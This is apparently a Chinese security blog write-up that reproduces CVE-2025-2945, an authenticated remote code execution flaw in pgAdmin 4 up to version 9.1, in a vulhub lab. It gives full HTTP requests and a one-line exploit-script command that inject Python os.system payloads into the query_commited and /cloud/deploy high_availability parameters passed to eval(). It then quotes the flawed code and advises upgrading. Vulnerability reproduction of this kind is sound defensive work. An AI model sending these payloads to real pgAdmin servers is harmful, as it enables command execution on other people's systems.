pgAdmin4 9.1及以下版本远程代码执行漏洞CVE-2025-2945复现分析

作者:袖梨 2026-06-02

简介

PostgreSQL数据库管理工具pgAdmin存在严重安全漏洞,攻击者可利用特定接口实现远程代码执行。该工具作为开源解决方案,原本为开发者提供便捷的数据库操作界面,却在9.2版本前暴露出高危安全隐患。

pgAdmin 4的查询工具和云部署模块存在设计缺陷,攻击者通过构造恶意请求可触发任意代码执行。漏洞涉及两个关键接口:/sqleditor/query_tool/download中的query_commited参数和/cloud/deploy中的high_availability参数,这些参数被直接传递给Python eval()函数处理。

漏洞利用条件:

攻击者需具备有效账号权限,且目标系统需以server模式运行pgAdmin服务。

参考:NVD - CVE-2025-2945

环境搭建

测试环境:pgAdmin4 9.1

cd vulhub/pgadmin/CVE-2025-2945
docker-compose up -d

访问地址:

img_6a1e86732454630.webp

登录凭证:[email protected]:vulhub

数据库认证信息:vulhub:vulhub

复现过程

/sqleditor/query_tool/download漏洞利用

建立数据库连接

成功登录后创建数据库连接

img_6a1e86732454d31.webp

捕获并修改请求数据

img_6a1e86732455132.webp

img_6a1e86732455533.webp

服务器返回示例:

{"success":1,"errormsg":"","info":"Server connected.","result":null,"data":{"sid":1,"did":16384,"icon":"icon-pg","connected":true,"server_type":"pg","replication_type":null,"type":"pg","version":170010,"db":"vulhub","user":{"id":10,"name":"vulhub","is_superuser":true,"can_create_role":true,"can_create_db":true,"can_signal_backend":false},"in_recovery":false,"wal_pause":false,"is_password_saved":false,"is_tunnel_password_saved":false,"is_kerberos_conn":false,"gss_authenticated":false}}

初始化SQL编辑器

获取关键参数:sid:1, did:16384, db:vulhub

设置任意trans_id值(示例使用1234568)初始化SQL编辑器:

POST /sqleditor/initialize/sqleditor/1234568/1/1/16384 HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-pgA-CSRFToken: IjExN2VmZDkzMjUwOTZhODc3MWFhMjVjMTAzZGFiNTdiNmNlMjMzYzgi.agkzig.7C6YWx6YX1mCHnhihpAWzxnPsRw
Content-Length: 21
Origin: 
Connection: keep-alive
Referer: 
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=en
Priority: u=0{
    "user": "vulhub",
    "password": "vulhub",
    "role": "",
    "dbname": "vulhub"
}

成功响应应包含"success":1字段

攻击实施

构造恶意请求:

POST /sqleditor/query_tool/download/1234568 HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-pgA-CSRFToken: IjExN2VmZDkzMjUwOTZhODc3MWFhMjVjMTA3ZGFiNTdiNmNlMjMzYzgi.agkzig.7C6YWx6YX1mCHnhihpAWzxnPsRw
Content-Length: 77
Origin: 
Connection: keep-alive
Referer: 
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=en
Priority: u=0{
    "query_commited": "__import__('os').system('echo `whoami`>/tmp/w')"
}

img_6a1e86732455734.webp

服务器返回500错误表明payload已成功执行

img_6a1e86732455b35.webp

自动化利用

使用内置EXP脚本:

python exp.py --target-url  --username [email protected] --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('touch /tmp/success')"

img_6a1e86732455e36.webp

img_6a1e86732456237.webp

手动验证

通过GUI界面操作:"server" - "database" - "vulhub" - "tools" - "query tool"

img_6a1e86732456638.webp

执行测试SQL语句

img_6a1e86732456a39.webp

下载结果时捕获请求:

img_6a1e86732456e310.webp

img_6a1e867324572311.webp

修改query_commited参数后重放请求

img_6a1e867324576312.webp

验证攻击效果:

img_6a1e867324579313.webp

/cloud/deploy漏洞利用

环境准备

临时禁用Google Cloud认证模块:

FILE="/usr/local/lib/python3.13/site-packages/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' $FILE
FILE2="/usr/local/lib/python3.13/site-packages/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE2
sed -i "s/env['GOOGLE_CREDENTIALS'] = /#&/" $FILE2

重启容器服务:

docker restart DOCKER-ID

攻击实施

构造恶意部署请求:

POST /cloud/deploy HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/json
X-pgA-CSRFToken: IjYwNmUzZGY3ZWQwNmExYmI5MWQyMDQ5NzJkYzU2MTJmNjAxNTI2MzAi.aglQGw.ErCQzsFQ5boyyDcXj2oG-bNMGQA
Referer: 
Content-Length: 645
Origin: 
Connection: keep-alive
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=zh_Hans_CN
Priority: u=4{
  "cloud": "google",
  "secret": {
    "gid": "1",
    "oid": null,
    "client_secret_file": "/tmp/test.json"
  },
  "instance_details": {
    "name": "test-instance",
    "project": "test-project",
    "region": "us-central1",
    "db_version": "POSTGRES_14",
    "instance_type": "db-f1-micro",
    "storage_type": "PD_SSD",
    "storage_size": 10,
    "public_ips": "0.0.0.0/0",
    "availability_zone": "us-central1-a",
    "secondary_availability_zone": "us-central1-b",
    "high_availability": "__import__('os').system('touch /tmp/root1')"
  },
  "db_details": {
    "gid": 1,
    "db_password": "test123"
  }
}

img_6a1e86732457d314.webp

img_6a1e867324581315.webp

漏洞分析

源码路径:pgadmin-archive.postgresql.org/pgadmin4/v9…

查询工具模块漏洞位于"pgAdmin4pgadmin4-9.1webpgadmintoolssqleditor__init__.py":

img_6a1e867324585316.webp

query_commited = data.get('query_commited', False)
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
                    eval(value) if isinstance(value, str) else value
                )

请求数据处理方式:

data = request.values if request.values else request.get_json(silent=True)

云部署模块漏洞位于"pgAdmin4pgadmin4-9.1webpgacloudprovidersgoogle.py":

img_6a1e867324588317.webp

def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
high_availability = 
            'REGIONAL' if eval(args.high_availability) else 'ZONAL'

参数控制逻辑:

parser_create_instance.add_argument('--high-availability',
                                            default=False)

修复方案

立即升级至9.2或更高版本的pgAdmin 4,该版本已修复eval()函数的不安全调用问题。同时建议加强访问控制,避免将管理界面暴露在公网环境。

相关文章

精彩推荐